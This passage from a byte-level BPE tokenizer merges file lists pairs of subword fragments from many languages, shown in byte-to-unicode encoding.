ÐµÐºÑĤ +Ġum o +Ġumo ż +Ġumoż li +Ġumożli w +Ġumożliw ia +Ġnäch ste +ĠìŀĪ ì§Ģë§Į +ĠпÑĢед н +ĠпÑĢедн аз +ĠпÑĢедназ наÑĩен +Ġma çı +Ġp omi +Ġpomi ÄĻd +ĠpomiÄĻd zy +ĠاÙĦÙĦ ÙĤاء +à¹Ģà¸Ķ à¸Ńะ +Ġнов оÑģÑĤи +×ŀ׊׾×Ķ +رÙĬاض ÙĬ +à¸Ķ à¸Ļ +à¸Ķà¸Ļ à¸ķรี +ب صر +ìĬ¤ íĥĢ +scri pción +Ġnap isa +Ġnapisa ÅĤ +Ġ׳ש ×ŀ×¢ +ĠاÙĦÙħØŃ ÙĦÙĬ +Ġhi á»ĥn +×IJ ×Ĺ +×IJ׊ר×IJ×Ļ +Ġг ÑĢаниÑĨ +æīĭ ç¶ļãģį +Ùĥ سب +Ġà¹ģà¸ķà¹Ī à¸ĸà¹īา +à¸Ķาว à¸Ļà¹Į +à¸Ķาวà¸Ļà¹Į à¹Ĥหลà¸Ķ +ãĤĭãģĵãģ¨ãģĮãģ§ãģį ãģ¾ãģĻ +åŁºæľ¬ çļĦãģ« +ÙĪÙĦ اد +rä ume +د ÙģØ§Ø¹ +×Ļצ ×¢ +ĠO czy +ĠOczy wiÅĽcie +ĠÅ ģ +ĠÅģ a +اÙĦÙĬ اب +اÙĦÙĬاب اÙĨ +áºł I +ĠBir liÄŁi +×Ķ ×ķצ +×Ķ×ķצ ×IJת +ĠÄij ua +Ġê·¸ëŁ¬ ëĭĪê¹Į +Ġréal ité +ع ÙĦاÙĤات +J este +Jeste ÅĽ +Ġмн ож +Ġмнож еÑģÑĤво +ï¼ « +ãĥĹãĥŃ ãĤ¸ãĤ§ +ãĥĹãĥŃãĤ¸ãĤ§ ãĤ¯ãĥĪ +ĠÑĦ л +ظ ÙĨ +×Ĵ׾ ×Ĵ׾ +ĠmÅĤod zie +ĠmÅĤodzie ż +à¸Ļà¹īำ à¸ķา +à¸Ļà¹īำà¸ķา ล +ÐĽ Ðķ +×ij ×ķ×ĺ +Ġ׾×Ķ ×Ĵ×Ļ×ĵ +ãģĵãģ¨ãĤĤ ãģĤãĤĭ +ز اد +×ŀ×Ļ×ĵ ×¢ +ĠgÅĤówn ie +ãĥı ãĤ¦ +ãĥıãĤ¦ ãĤ¹ +б ел +Ġét ape +ðŁĺ Ģ +Ġмод елÑĮ +a ģını +ש ×Ĺ×§ +ש×Ĺ×§ ף +Ġni ño +à¸Ĭ à¹īาà¸ĩ +à¹Ģล ีย +ĠÑĦоÑĢм е +ĠاÙĦØ´ رÙĬÙģ +ĠÑĥд аÑĢ +arr iv +arriv ée +Ġmies iÄĻ +ĠmiesiÄĻ cy +ØŃ رÙĥ +ØŃرÙĥ ات +ĠDi á»ħn +ÐĿ Ы +ãģ¾ãģ£ãģŁ ãģı +Ġ×Ļ ×¨×ķ×§ +еÑģÑĤ еÑģÑĤв +еÑģÑĤеÑģÑĤв енн +Ġê·¸ ëŁ¼ +ĠاÙĦÙħ تÙĪ +ĠاÙĦÙħتÙĪ Ø³Ø· +Ġbéné fic +Ġbénéfic ie +Ġwy bra +Ġwybra Äĩ +ĠاÙĦز ÙħÙĨ +ĠпÑĢин Ñı +ĠпÑĢинÑı л +Ù쨱 ØŃ +Ġk sz +Ġksz taÅĤ +ĠksztaÅĤ t +ק׾ ×ĺ +×ij×ĵ×Ļ×§ ת +Ġgi ấ +Ġgiấ c +Ġpropriet Ãł +деÑĢж ан +ĠKö ln +ĠGü zel +×Ļפ ×ķ×Ļ +ĠCu á»Ļc +ÑįÑĤ аж +تر ÙĥÙĬ +ترÙĥÙĬ ز +лож ений +Ġп Ñĥ +ĠпÑĥ ÑĤи +اخت ÙĦاÙģ +åĩºãģ¦ ãģıãĤĭ +à¸ļุ à¸ģ +âĿ ¤ +ÑĦ ан +פש ×ĺ +à¸ļัà¸Ļ à¹Ģà¸Ĺ +à¸ļัà¸Ļà¹Ģà¸Ĺ ิà¸ĩ +ĠاÙĦس اد +ĠاÙĦساد س +ĠاÙĦÙĤ ÙĪÙħ +ĠاÙĦÙĤÙĪÙħ ÙĬ +Ġyönet ici +Ùĩ ÙĪØ§Øª +ÙĩÙĪØ§Øª Ùģ +Ġrespons ável +Ġпод деÑĢжива +ĠاÙĦسÙĦ Ø· +ĠاÙĦسÙĦØ· ات +ãģĹãģ¦ ãģĬãģı +ãĥļ ãĥĥãĥĪ +à¸Ľ ุà¹Īม +Ġogl Äħda +ÙĨا ÙĤ +ÙĨاÙĤ Ø´ +à¸Ħà¸Ńà¸Ļ à¹Ĥà¸Ķ +ĠMü sl +ĠMüsl ü +ĠMüslü man +ĠMo ż +ĠMoż na +Ġnum érique +Ġv á»ı +ĠسÙĬ تÙħ +Ġyer leÅŁ +монÑĤ аж +Ġgo ût +ãģ¦ ãģĬãĤĬãģ¾ãģĻ +ĠKh ánh +Ġе дин +Ġедин ÑģÑĤв +اÙĨ Ø®Ùģ +اÙĨØ®Ùģ Ø§Ø¶ +ìĭľ íĹĺ +Ġl ặng +ĠÑĢ Ð¾Ð»ÑĮ +à¸ķัว à¹ģà¸Ĺà¸Ļ +à¸Ħà¹Īา à¹ĥà¸Ĭà¹ī +à¸Ħà¹Īาà¹ĥà¸Ĭà¹ī à¸Īà¹Īาย +Ġver füg +Ġverfüg bar +ìĻĶ ëĭ¤ +ãģĦ ãģļ +ãģĦãģļ ãĤĮ +ĠиÑģÑģлед ованиÑı +меÑī а +×Ķ ×Ĺ +×Ķ×Ĺ ×ĸר +à¹ģà¸Ł à¸Ĭัà¹Īà¸Ļ +ت صرÙģ +Ø¥ رÙĩاب +Ġexerc ÃŃcio +Ġé lev +Ġélev é +สัà¸įà¸įา à¸ĵ +Ãĸ Z +ãĥĹ ãĥŃãĤ° +ãĥĹãĥŃãĤ° ãĥ© +ãĥĹãĥŃãĤ°ãĥ© ãĥł +Ġw ewnÄĻtrzn +Ġhen üz +é£Ľ ãģ³ +à¹Ģà¸Ķ à¸Ńรà¹Į +Ñģ Ñĥж +ÑģÑĥж ден +شع ÙĪØ¨ +ãģ²ãģ¨ ãĤĬ +Ġwy ÅĤÄħ +ĠwyÅĤÄħ cznie +Ġпло Ñħо +ÐĶ Ðķ +Ạ¦ +Ù쨹 اÙĦÙĬ +ÙģØ¹Ø§ÙĦÙĬ ات +ĠاÙĦع شر +ÑģÑĤÑĥп ил +Ġy arg +Ġyarg ı +нÑİ Ñİ +×ķ×IJ ×ij +Ġu ç +Ġuç ak +ë² ½ +تÙĪ ÙĤÙĬ +تÙĪÙĤÙĬ ع +Ġì¤ij ìĭ¬ +׳×Ļ×ķ ×ķ×ĺ +Ø£ ÙĥÙĦ +ç½® ãģĦãģ¦ +éłĤ ãģį +Ġ×Ķת ×ij +Ġ×Ķת×ij ×Ļ×¢×Ķ +Ġdür fen +Ùħ ÙĤاÙĦ +ÙħÙĤاÙĦ ات +Ġز ÙħÙĨ +à¸ŀฤ ศ +à¸ŀฤศ à¸Ī +à¸ŀฤศà¸Ī ิà¸ģ +à¸ŀฤศà¸Īิà¸ģ ายà¸Ļ +ĠнеÑģк олÑĮ +ĠнеÑģколÑĮ ки +ĠнеÑģколÑĮки Ñħ +Ġcrian ça +มิ à¸ķร +×ŀ׼ ×Ļר×ķת +à¸ģาร à¸ļริหาร +Ġtélé charg +Ġ×IJ×ķ×Ķ ×ijת +ĠBü ro +ä½ľ ãģ£ãģŁ +ĠKi ÅŁi +ç¾İåij³ ãģĹ +à¹Ģลย à¸Ħà¹Īะ +à¸ŀà¸ļ à¸ģัà¸ļ +à¸Ī à¹īา +Ġç er +Ġçer ç +Ġçerç eve +ãĤĴä½ľ ãģ£ãģ¦ +ĠпеÑĢв ÑĥÑİ +×ŀצ ר×Ļ×Ŀ +×IJ׾ ×ķ×Ķ +×IJ׾×ķ×Ķ ×Ļ×Ŀ +Ġagr é +Ġagré able +Ġay ır +İL İ +ãĤ ¥ +Ġíĺ Ħ +ĠíĺĦ ìĭ¤ +ثاÙĦ Ø« +ת ×ĸ +ת×ĸ ×ķ׳×Ķ +ãģ¨ãģĦ ãģ£ãģ¦ +ãģ¨ãģĦãģ£ãģ¦ ãĤĤ +Ġا بÙĪ +ĠÑģоб ак +é£Łãģ¹ ãģŁ +Ġдан ном +à¹Ģล ิ +à¹Ģลิ ศ +Ġí ļ +Ġíļ ¨ +Ġíļ¨ ê³¼ +ãĤĤãĤī ãģĪãĤĭ +׳ צ׾ +ÑĦ ик +ÑĦик Ñģ +Ġjeste ÅĽmy +ת×Ĺ×ķש ×Ķ +à¹Ħมà¹Ī à¸Ħวร +ĠØŃ سÙĬÙĨ +à¸ģาร ลà¸ĩà¸Ĺุà¸Ļ +ë´ ¤ +ĠÐĺ менно +à¸ļ à¸Ńรà¹Į +à¸ļà¸Ńรà¹Į à¸Ķ +ĠC ảnh +ìĦľ ë¹ĦìĬ¤ +Ġпол ов +Ġполов ин +Ġзам еÑĩа +ãģĦãĤį ãĤĵãģª +Ġ×ij ×Ļ×§ +Ġ×ij×Ļ×§ ש +л ÑĥÑĪ +ãĤĴ è¿İ +ãĤĴè¿İ ãģĪ +جرÙĬ ÙħØ© +Ġt ây +ĠاÙĦÙĨ ÙĪ +ĠاÙĦÙĨÙĪ ÙĪÙĬ +ÃĤ N +ì¿ ł +หà¸Ļ าว +Ġ×ij׊ש×ij×ķף +ز ار +à¸Ķ าร +à¸Ķาร า +ĠÅĽ l +ĠÅĽl ub +มีà¸Ħวาม สุà¸Ĥ +Ġn hu +Ġnhu áºŃn +ÙħØŃ طة +à¹Ģสืà¹īà¸Ń à¸ľà¹īา +ĠТ олÑĮко +ĠÙĥ س +ĠÙĥس ارة +ÙħØ´ رÙĪØ¹ +niÄĻ cia +×¢ ׼ש×Ļ×ķ +ت ÙĦÙģ +تÙĦÙģ Ø²ÙĬ +تÙĦÙ쨲ÙĬ ÙĪÙĨ +Ġl Æ°á»Ľi +ĠÐľÐ¾Ñģк вÑĭ +Ġré serve +Ġan laÅŁ +ĠanlaÅŁ ıl +Ġed eceÄŁi +รà¸Ńà¸ĩ à¹Ģà¸Ĺà¹īา +Ġب Ø· +Ġبط رÙĬ +ĠبطرÙĬ ÙĤØ© +ãģ¦ãģĹãģ¾ ãģ£ãģ¦ +ãĤĤãĤī ãģ£ãģ¦ +بر ج +æ± ļ +æ±ļ ãĤĮ +Ġch oc +Ġchoc ia +Ġchocia ż +Ġzob ac +Ġzobac zyÄĩ +пÑĢ Ñı +пÑĢÑı жен +ĠÑĨ иÑĦ +ĠÑĨиÑĦ ÑĢ +Ġм ам +Ġвз ÑıÑĤÑĮ +Ġch ạm +ج سÙħ +ØŃÙħ اس +à¹Ģล à¹Īม +à¸ŀิ ษ +×Ķפ ׼×ķ +à¸Ĭà¹Īà¸Ńà¸ĩ à¸Ĺาà¸ĩ +Ġв ек +Ġвек а +Æ¡ Ìģ +Æ¡Ìģ i +ĠTi á»ģn +Ġtr ầm +мÑĭ ÑĪ +мÑĭÑĪ Ð» +ĠÑĤ Ñĥ +ĠÑĤÑĥ ÑĢиÑģÑĤ +Ġch c +Ġchc Äħ +Ġав г +Ġавг ÑĥÑģÑĤ +ĠавгÑĥÑģÑĤ а +ס ×IJ×ķת +Ġר ×Ĵ׾ +à¸ľà¸¥ à¸ģระà¸Ĺ +à¸ľà¸¥à¸ģระà¸Ĺ à¸ļ +å¤īãĤı ãĤĭ +Ġ×Ķ×IJ×Ĺר ×ķ׳×Ļ×Ŀ +سÙģ ÙĬر +ĠÑĩа Ñīе +ãģĦ ãĤī +ãģĦãĤī ãģ£ +ãģĦãĤīãģ£ ãģĹãĤĥ +×ķ×ŀ ׳×Ļ×Ŀ +Ġart tır +ĠCh á»ĭ +Ġì¡° ì§ģ +ĠÑĥÑģп еÑħ +Ġ×¢ ×ķס +Ġ×¢×ķס ×§ +ĠìĥĿ ëªħ +ÑĨ иÑĤ +Ġreg ión +Ðŀ ÐĿ +ĠdoÄŁ um +ĠyaÅŁ ad +ĠyaÅŁad ıģı +à¸Ĺà¸Ķ ลà¸Ńà¸ĩ +Ġgöz ü +ש ×Ļר×Ķ +дÑĥм ал +Ġda ģı +Ġdaģı t +à¸Ĺีม à¸ĩาà¸Ļ +Ġti á»ģm +ĠاÙĦÙĥ بر +ĠاÙĦÙĥبر Ùī +ì¹ Ń +ĠGü nc +ĠGünc elle +ĠGüncelle me +ê¹ Ĭ +ĠобоÑĢÑĥд ование +ĠÑĢеÑĪ Ð° +á» ¤ +Ġп иÑĤ +ĠпиÑĤ аниÑı +à¹Ģรีย à¸ļ +×Ľ×ª ×Ļ×ij×Ķ +Ġп он +Ġпон ÑĢав +ĠпонÑĢав и +Ġ×Ķ ×ķ׾×ĵ +Ġ×Ķ×ķ׾×ĵ ת +Ġê² ģ +Ġê²ģ ëĭĪëĭ¤ +ĠпеÑĢв ой +ãĥ©ãĤ¤ ãĥķ +ĠÅŁi ir +kr ÄĻ +krÄĻ c +Ġthi á»ĥu +à¹Ģลย à¸Ĺี +à¹Ģลยà¸Ĺี à¹Ģà¸Ķียว +×ĺ×¢ ׳×ķת +ائ ÙĩÙħ +Ġ×IJ ס×ķר +ĠплаÑĤ еж +تر دد +Ġmożli we +Ġkh Ỽ +ĠkhỼ p +تÙģØ§Ø¹ ÙĦ +ĠÑĪ ÐºÐ¾Ð»ÑĮ +ĠÑĪколÑĮ н +ĠÙĤ صة +Ġmét ier +nÄĻ ÅĤa +หล à¹Īà¸Ń +Ġ á»§ng +Ġprz egl +Ġprzegl Äħd +ĠاÙĦÙħ تعÙĦ +ĠاÙĦÙħتعÙĦ ÙĤØ© +ĠÑģÑĭ н +Ġв олн +ãĥĩ ãĥ¼ãĥĪ +ĠÐŃ ÑĤи +Ġк ÑĢоме +à¸Ħ ารà¹Į +׳ק ×ķ×ĵ×Ķ +Ġ׾ש×ŀ ×ķ×¢ +Ġ×ĸ ×ķ׼ר +ï¼ § +ÙĬ ÙİØ§ +Ġgi á»ıi +åĥį ãģı +ĠÑģ ни +ĠÑģни жен +à¹ģà¸Ķ à¸Ķ +รุ à¸Ļ +รุà¸Ļ à¹ģรà¸ĩ +Ġhi á»ĩp +ograf ÃŃa +à¹Ģà¸Ī à¸Ńรà¹Į +Ġдв иг +Ġдвиг аÑĤ +ĠдвигаÑĤ ел +Ġü y +Ġüy eler +Ġüyeler i +Ġб Ñĥк +ĠбÑĥк в +ãĤĤ å¤ļãģı +Ġthi á»ĩt +ĠPa ÃŃs +ĠØ· بÙĬعÙĬ +à¹ģà¸Ī à¸ģ +ĠاÙĦص ØŃÙĬØŃ +Ġapp ré +Ġappré ci +Ġdecis ión +Ġë°ĺ ëĵľ +Ġë°ĺëĵľ ìĭľ +ĠÑĤеб е +ãĤ· ãĥ¼ãĤº +ãĤ·ãĥ¼ãĤº ãĥ³ +Ġд алÑĮн +ĠìĬ ¤ +ĠìĬ¤ ìĬ¤ +ĠìĬ¤ìĬ¤ ë¡ľ +ĠTh á»ĥ +Ġkar ÅŁ +ĠkarÅŁ ıs +ĠkarÅŁÄ±s ında +ĠK ön +ĠKön ig +ив ание +×ij ×ķצע +г лаÑģ +Ġtw ó +Ġtwó rc +à¸Ľà¸ģ à¸Ħร +à¸Ľà¸ģà¸Ħร à¸Ńà¸ĩ +ĠG ÅĤ +ĠGÅĤ ówn +ĠUnter stüt +ĠUnterstüt zung +Ġд ÑĥÑħ +ĠдÑĥÑħ ов +Ø£ ÙħاÙĨ +×Ĺש ש +ت ظ +تظ اÙĩر +ĠлÑİб ом +à¸ķ าร +à¸ķาร าà¸ĩ +Ġkr ól +Ø£ ØŃدث +ì¡Į ëĭ¤ +Ðļ ÑĥÑĢÑģ +ãĥĥ ãĥĦ +×ŀ×§ ×ķ×ij׾ +ĠÑģимв ол +Ġdés orm +Ġdésorm ais +w üns +wüns che +Ñĥ ни +Ñĥни ÑĨип +ÑĥниÑĨип алÑĮн +หลัà¸ģ สูà¸ķร +ÙĨت شر +Ġа л +Ġал к +Ġалк ог +Ġалког ол +ĠÑĥ ÑĩиÑĤÑĭва +à¸ģำ à¸ģัà¸ļ +Ġ׾ פע×ķ׾ +ĠìŰ ê²° +s Äħd +ĠاÙĦØ£ ÙĬ +ĠاÙĦØ£ÙĬ اÙħ +غÙĬ اب +Ġна ÑĢ +ĠнаÑĢ ÐºÐ¾ +×ŀ×ķ×ĵ ×¢ +ĠÑģеÑĢ Ð¸Ð¸ +пиÑģ Ñĭва +สิ ว +ç¶ļ ãģĦãģ¦ +çͳãģĹ è¾¼ãģ¿ +Ġ׾ ×Ĵר +Ġ׾×Ĵר ×ķ×Ŀ +Ġд ем +Ġдем о +Ġë³´ ëĤ´ +تÙĩ دÙĬد +ĠÙħØ´ ÙĬرا +Ġdu y +Ġduy á»ĩt +ĠwiÄĻks ze +Ùħع اÙĬ +ÙħعاÙĬ ÙĬر +ĠG da +ĠGda ÅĦsk +Ġr ah +Ġrah ats +Ġrahats ız +ר ×ķצ×Ķ +l ös +lös ung +ĠТак им +ÑĪ ÐµÐ´ +ÑĪед ÑĪ +ع زÙĦ +Ġרש ×Ļ×ŀת +Ġ׾×Ķ ×Ļ׼ +Ġ׾×Ķ×Ļ׼ ×ł×¡ +Ġп ÑĥÑĤ +ĠпÑĥÑĤ еÑĪ +ĠпÑĥÑĤеÑĪ ÐµÑģÑĤв +Ġnot ÃŃcia +Ġal Ä±ÅŁ +ĠalÄ±ÅŁ ver +ĠalÄ±ÅŁver iÅŁ +ĠwÅĤ os +ĠwÅĤos ów +Ġب غ +Ġبغ داد +Ġver öffent +Ġveröffent licht +ĠKh á +Ġt án +ëIJĺ 기 +Ġë°© 문 +Ùģ ÙĬÙĦ +à¹Ģà¸ģิà¸Ķ à¸Īาà¸ģ +åı¯ æĦĽ +åı¯æĦĽ ãģĦ +à¸ĸ ุà¸ĩ +Ġz ewnÄĻtrzn +à¸łà¸²à¸©à¸² à¸Ńัà¸ĩà¸ģฤษ +Ġmá xima +Ġul us +Ġulus lararası +Ġ׳×Ķ ×ł +à¸Ĥà¹Īาว สาร +ĠìĿĺ ìĤ¬ +à¹Ģหล ืà¸Ńà¸ĩ +Ġد ÙĤ +ĠدÙĤ ائÙĤ +สืà¹Īà¸Ń สาร +ë¨ ¼ +ĠÑģоÑģÑĤоÑı нии +สมา à¸Ħม +á» Ĥ +ĠÐľÐ¾Ñģ ков +ĠÐľÐ¾Ñģков Ñģк +×ŀס ×ķ×Ĵ׾ +ãģĭ ãģĭãĤĬ +ĠTr uyá»ģn +à¹ģà¸Ĥà¹ĩà¸ĩ à¹ģรà¸ĩ +×ŀ×Ĺ ×ĸ×Ļ×§ +à¹Ĥà¸ģ à¹ī +ÙĬس ر +ìĶ © +×IJ ×ķ×§ +×IJ×ķ×§ ×ĺ +×IJ×ķ×§×ĺ ×ķ×ijר +Ġprox imité +ÙħÙĨ Ùĩج +ĠاÙĦج ز +ĠاÙĦجز ائ +ĠاÙĦجزائ رÙĬ +ĠÄIJi á»ĥm +Ġден еж +Ġденеж н +ÙģØŃ ص +Ùģ Ø¦ +ĠÐij Ñĥд +×Ĵ×Ļ×ĵ ×ķ׾ +ĠÐĴ едÑĮ +عÙĦ اÙħØ© +Ġ×IJ×Ĺר ×ķ׳×ķת +ãģĦãģŁãģł ãģĦãģ¦ +سÙĦ ØŃ +ØŃ ÙĦÙħ +ز ÙĪØ§Ø± +Ùĥ سر +×ĺ קס +Ġб ан +Ġбан ков +ĠпÑĢ Ð¾Ð¶ +ĠпÑĢож ива +li wo +liwo ÅĽci +ĠTi ếp +ĠاÙĦÙħÙĨ اسب +ĠاÙĦØ® ÙĬار +ãģĬ ãģĭ +ãģĬãģĭ ãģĴ +à¸Ķà¸Ńà¸ģ à¹Ħมà¹ī +ä mp +ämp fe +à¸ķัà¹īà¸ĩ à¹ĥà¸Ī +Ġза ÑīиÑĤ +ĠзаÑīиÑĤ Ñĭ +ĠTh ưá»Ŀng +Ġص Ùģ +ĠصÙģ ØŃØ© +×Ĺ×ķר ×£ +ãĥIJ ãĥĥãĤ° +Ġ×ĵ ×Ļ×Ĵ +Ġ×ĵ×Ļ×Ĵ ×Ļ×ĺ +Ġ×ĵ×Ļ×Ĵ×Ļ×ĺ ׾×Ļ +Ġ×Ķ×Ĺ ×ķ׾×Ļ×Ŀ +в еÑī +веÑī а +Ġк ÑĥлÑĮÑĤ +ĠкÑĥлÑĮÑĤ Ñĥ +ĠкÑĥлÑĮÑĤÑĥ ÑĢÑĭ +ĠاÙĦاÙĨ ترÙĨت +Ġhö ch +Ġhöch st +Ġíĺ ķ +Ġíĺķ íĥľ +Ġв ой +Ġвой нÑĭ +ÐĽ Ðŀ +ìĭł ìļ© +Ġ×ŀ×ij ×ķס +Ġ×ŀ×ij×ķס ס +×ŀ׳ ×Ļ×¢ +Ġfiyat ı +ĠÑģл Ñĥж +ĠÑģлÑĥж бÑĭ +à¸Ĺั ศ +à¸Ĺัศ à¸Ļ +ãģĵãģ¨ãģĮ å¤ļãģĦ +Ġ×Ķ×ŀש ת +Ġ×Ķ×ŀשת ×ŀש +å¯Ħ ãģĽ +×ŀש׾ ×ķ×Ĺ +æĻĤ çĤ¹ +æĻĤçĤ¹ ãģ§ +à¸ŀร ี +à¸ŀรี à¹Ģมีย +à¸ŀรีà¹Ģมีย รà¹Į +à¸ŀรีà¹Ģมียรà¹Į ลีà¸ģ +Ġdiffic olt +Ġdifficolt Ãł +ãĥ¬ ãĤ¹ãĥĪ +ãĥ¬ãĤ¹ãĥĪ ãĥ©ãĥ³ +สม à¹Ģà¸Ķà¹ĩ +สมà¹Ģà¸Ķà¹ĩ à¸Ī +Ġж ид +Ġжид к +Ġzu peÅĤ +ĠzupeÅĤ nie +ĠÙħ جر +ĠÙħجر د +ãģĮ å§ĭ +ãģĮå§ĭ ãģ¾ +ãĤŃãĥ£ ãĥ© +Ġ×IJ ×ķ×ķ×Ļר +ãģĬ äºĴ +ãģĬäºĴ ãģĦ +Ġpot rÃł +ĠPa ÅĦst +ĠPaÅĦst wo +Ġب ÙĬاÙĨ +ĠبÙĬاÙĨ ات +Ġин огда +ĠÑĢ Ð° +ĠÑĢа ÑģÑĤв +ĠÑĢаÑģÑĤв оÑĢ +Ġ×ĸ ×ŀ׳ +ยิ à¹īม +Ä Ĩ +ãģ¾ ãģķ +ãģ¾ãģķ ãģ« +ãĥķãĤ¡ ãĤ¤ãĥ« +Ġgörd Ã¼ÄŁÃ¼ +สà¸ĩ à¸Ħร +สà¸ĩà¸Ħร าม +ĠArk adaÅŁ +ĠrozwiÄħz ania +×ŀ ×ķ×ĺ +pi ÄĻ +piÄĻ t +ص غر +ส ย +สย าม +ãĤĨ ãģ£ãģıãĤĬ +Ġtr ần +Ġeconom ÃŃa +Ġgeh ören +ãĤ·ãĥ§ ãĥ¼ +ĠsÅĤ ucha +à¸ŀà¸Ń à¹ĥà¸Ī +ĠоÑĤмеÑĤ ил +ÙĨت ÙĤÙĦ +Ġprop ósito +ĠваÑĪ ÐµÐ³Ð¾ +Ġnh ắn +à¹ģà¸ĸ ว +Ġком иÑģ +ĠкомиÑģ Ñģи +waż nie +Ġy avaÅŁ +×ŀ ×Ļ×§ +×ŀ×Ļ×§ ×ķ×Ŀ +ש×IJ׾ ת +Ġyıll arda +ĠÐ ® +ĠЮ ÑĢ +×ł×¡ ×Ļ×ij×ķת +ת צ +תצ ×ķ×Ĵ +Ġод нÑĥ +Ġ à¸Ńยà¹Īาà¸ĩà¹Ħร +Ġà¸Ńยà¹Īาà¸ĩà¹Ħร à¸ģà¹ĩà¸ķาม +ëģ ¼ +à¹Ħล à¹Ī +تس ÙĦÙĬÙħ +بÙĦ اغ +Ġì ī +Ġìī ½ +Ġìī½ ê²Į +ãĥļ ãĥ³ +зв ÑĥÑĩ +ĠW äh +ĠWäh rend +Ġ×Ļ ×Ļת +Ġ×Ļ×Ļת ׼ף +Ġkh uyên +Ġv ẽ +Ġа меÑĢ +ĠамеÑĢ Ð¸Ðº +ĠамеÑĢик ан +ĠамеÑĢикан Ñģк +ع جب +ãĥĽãĥ¼ãĥł ãĥļãĥ¼ãĤ¸ +Ġник ÑĤо +ĠÙĤ Ùİ +ĠÙĤÙİ Ø§ÙĦ +ĠÙĤÙİØ§ÙĦ Ùİ +ÐIJ ÐĹ +Ùħ جÙħÙĪØ¹ +ÙħجÙħÙĪØ¹ ات +Ġnecess itÃł +Ġpob li +Ġpobli żu +Ġph ấn +ĠСо обÑī +ÙħÙĤ اط +ÙħÙĤاط ع +Ġ×Ķצ ×ķר×ļ +la ÅŁtırma +ว ิà¸Ķ +วิà¸Ķ ี +วิà¸Ķี à¹Ĥà¸Ń +Ġ그리 ìĬ¤ +Ġ그리ìĬ¤ ëıĦ +ãĤ¿ãĤ¤ ãĥŁ +ãĤ¿ãĤ¤ãĥŁ ãĥ³ãĤ° +×§×ĺ ×Ĵ×ķר +×§×ĺ×Ĵ×ķר ×Ļ×Ķ +Ġ×Ĺ ×ķפ +Ġ×Ĺ×ķפ ש×Ļ +Ø£ جر +Ġим ени +ĠÑĢан ее +à¹Ģà¸ŀืà¹Īà¸Ńà¸Ļ à¹Ĩ +ĠJes ús +Ñģо един +Ñģоедин ен +Ġר ×Ĺ×ķ×§ +à¹Ĥà¸ļ รา +à¹Ĥà¸ļรา à¸ĵ +ĠH Æ¡n +Ġth áºŃp +تع ÙĬÙĬÙĨ +Ġtart Ä±ÅŁ +ĠtartÄ±ÅŁ ma +ĠGes pr +ĠGespr äch +תר ×ķפ +תר×ķפ ×ķת +Ġcat égorie +Ġоказ Ñĭва +ĠналиÑĩ ие +Ġprésent é +Ġk ull +Ġkull and +Ġkulland ı +Ġü nl +Ġünl ü +ĠÙģ Ùĥرة +из аÑĤоÑĢ +×IJ ×ķ׳ +×IJ×ķ׳ ×Ļ×ij +×IJ×ķ׳×Ļ×ij רס +×IJ×ķ׳×Ļ×ijרס ×Ļ×ĺת +ĠÑĢаÑģÑģ маÑĤ +ĠÑĢаÑģÑģмаÑĤ ÑĢ +ĠÑĢаÑģÑģмаÑĤÑĢ Ð¸Ð²Ð° +تÙĥÙĦ Ùħ +Ùĥت رÙĪ +ÙĥترÙĪ ÙĨÙĬ +ĠÑģо ÑĩеÑĤ +ĠÑģоÑĩеÑĤ а +ãĤĴè¦ĭ ãģĽ +Ġng ừa +ĠÐł еÑģп +ĠÐłÐµÑģп Ñĥб +ĠÐłÐµÑģпÑĥб лик +ãĤ¦ ãĤ© +ãĤ¦ãĤ© ãĥ¼ +ĠÐľ еждÑĥ +ĠìŀĪ ê²Į +Ġm â +ĠìļĶ ì²Ń +ض ار +ลุ à¹īà¸Ļ +ëĮĢ íķĻêµIJ +×ĸ ×Ļ׼ +×ĸ×Ļ׼ ר×ķף +ãĤ¹ ãĥļ +ãĤ¹ãĥļ ãĥ¼ãĤ¹ +ĠкÑĢаÑģ оÑĤ +ï¼ ¨ +ê¼ Ń +ãĤĴ éĽĨ +ãĤĴéĽĨ ãĤģ +ë° Ŀ +Ġ×Ķ׳ ×IJ +Ġ×Ķ׳×IJ ש×Ŀ +Ġê°Ģ ìļ´ +Ġê°Ģìļ´ ëį° +تÙĥÙĦ Ù쨩 +ĠØŃ ÙĤÙĬÙĤÙĬ +Ġh alk +Ġhalk ın +ÑİÑī ÑĥÑİ +ĠÑģп ин +סר×ĺ ף +ĠпеÑĢв ого +Ġпол ож +Ġполож иÑĤелÑĮн +Ġд л +Ġдл иÑĤелÑĮн +ĠV Ä©nh +ê´ ´ +ĠÑģÑĭ ÑĢ +ĠíĨµ íķĺìŬ +ë³ij ìĽIJ +à¹Ĥรà¸ĩ à¸ĩาà¸Ļ +รัà¸ļ à¸ľà¸´à¸Ķ +รัà¸ļà¸ľà¸´à¸Ķ à¸Ĭà¸Ńà¸ļ +تج ÙĨب +s ÅĤ +sÅĤ uch +ãĤ¢ãĥ« ãĥIJ +ãĤ¢ãĥ«ãĥIJ ãĥł +ëī´ ìĬ¤ +Ġpat ië +Ġpatië nt +Ġìĺ ¤í +Ġìĺ¤í ŀ +Ġìĺ¤íŀ Ī +Ġìĺ¤íŀĪ ëł¤ +ĠDer ne +ĠDerne ÄŁi +wró ci +wróci Äĩ +Ġоб Ñī +ĠобÑī еÑģÑĤв +ĠобÑīеÑģÑĤв енно +ĠêµIJ ìĪĺ +tıģ ımız +Ġ×Ķ×ŀש ×Ļ×ij +k örper +Ġпозв ол +Ġпозвол иÑĤ +ĠChi ến +أخ ÙĪ +ĠAy dın +à¸Ķà¹īาà¸Ļ ล +à¸Ķà¹īาà¸Ļล à¹Īาà¸ĩ +Ġdr u +Ġdru ż +Ġdruż yn +Ġë°ľ íijľ +ĠTh ảo +جÙĩ اد +à¸ģระà¸Ĺ ูà¹ī +Ġк ÑĢов +ĠкÑĢов и +Ġiçer ik +Ġnad zie +Ġnadzie jÄĻ +ĠС моÑĤÑĢ +Ġph ức +ج تÙħاع +جتÙħاع ÙĬØ© +ком пон +компон енÑĤ +Ġб ил +Ġбил еÑĤ +ãĥIJ ãĥ³ãĥī +ĠPol ÃŃcia +اÙĦ تÙĩ +اÙĦتÙĩ اب +ØŃر Ùģ +ت خط +تخط ÙĬØ· +ãĤ³ ãĥ¼ãĥ +ãĤ³ãĥ¼ãĥ Ĵ +ãĤ³ãĥ¼ãĥĴ ãĥ¼ +・・ ï½¥ +à¸ĭ à¸Ńย +Ġcréd it +è²· ãģ£ãģŁ +ĠпоÑĢ Ñıд +ĠпоÑĢÑıд ке +Ġph ó +Ġw ida +Ġwida Äĩ +جر ائÙħ +à¸ľ ี +ĠbÄĻd ÄĻ +Ġ×ŀ 